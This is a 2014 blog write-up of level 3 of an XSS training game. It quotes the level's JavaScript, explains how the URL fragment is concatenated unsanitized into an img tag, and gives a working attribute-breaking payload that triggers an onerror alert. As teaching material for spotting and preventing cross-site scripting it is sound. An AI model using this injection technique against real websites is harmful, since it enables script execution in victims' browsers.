DISCLAIMER: The information in this site is for educational purpose only. The authors of this blog are not responsible for any kind of misuse of this information.

Friday, May 30, 2014

XSS Game 3/6

Hola mocosos!

On this level we have a site without any input fields. Interesting, isn't it the only channel to enter input ?

Of course not ! The most basic user input is the URL he enters in his browser which generates a HTTP GET request sent to the HTTP server. This request can carry user parameters for loading the required page.

Lets begin. When clicking 'Go' we notice that the URL changed to ../frame#1
Interesting. Lets click on Image 2 and Image 3 tabs, the number at the end changed in both cases.

Lets try to get /frame#42. Nice ! The title is Image 42, meaning we have a sort control on the content the victim client is parsing. We notice that no image was loaded, maybe it has something to do with the number we pass ? Maybe it's an index for images container or something ?

Time to raise the bar and inspect client side code ! The inspection is still considered blind because we don't have the server source code (the standard case)

    <script>
      function chooseTab(num) {
        // Dynamically load the appropriate image.
        var html = "Image " + parseInt(num) + "<br>";
        html += "<img src='/static/level3/cloud" + num + ".jpg' />";
        $('#tabContent').html(html);
 
        window.location.hash = num;
 
        // Select the current tab
        var tabs = document.querySelectorAll('.tab');
        for (var i = 0; i < tabs.length; i++) {
          if (tabs[i].id == "tab" + parseInt(num)) {
            tabs[i].className = "tab active";
            } else {
            tabs[i].className = "tab";
          }
        }
 
        // Tell parent we've changed the tab
        top.postMessage(self.location.toString(), "*");
      }
 
      window.onload = function() { 
        chooseTab(self.location.hash.substr(1) || "1"); 
        // [!] the function chooseTab is called 
           //with the parameter after the '#' from the url on load
      }
 
      // Extra code so that we can communicate with the parent page
      window.addEventListener("message", function(event){
        if (event.source == parent) {
          chooseTab(self.location.hash.substr(1));
        }
      }, false);
    </script>
This code gives an explanation to the controlled integer field we observed on first sight.
The most interesting line is:
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
This line shouts: "unsanitized user input is mixed up with code" This code is later sent back to the client which renders it (Javascript code)

Remembers the technique from the previous level ? lets use it again: We will inject this:
1000.jpg' onerror='alert("Owned!")' alt='

We get:
<img src='/static/level3/cloud" + "1000.jpg' onerror='alert("Owned!")' 
alt='" + ".jpg' />
More readable (after concatination):
<img src='/static/level3/cloud1000.jpg' onerror='alert("Owned!")' 
alt='.jpg' />
The image we try to load doesn't exist and the onerror event we defined will be triggered. We added alt attribute to push the hard-coded '.jpg' that was there. alt attribute defines the description of the image >< (So 90s)

We can announce owned ! >:)

1 comment :

  1. hi when I inject my payload it gets url encoded what can I do for that?

    ReplyDelete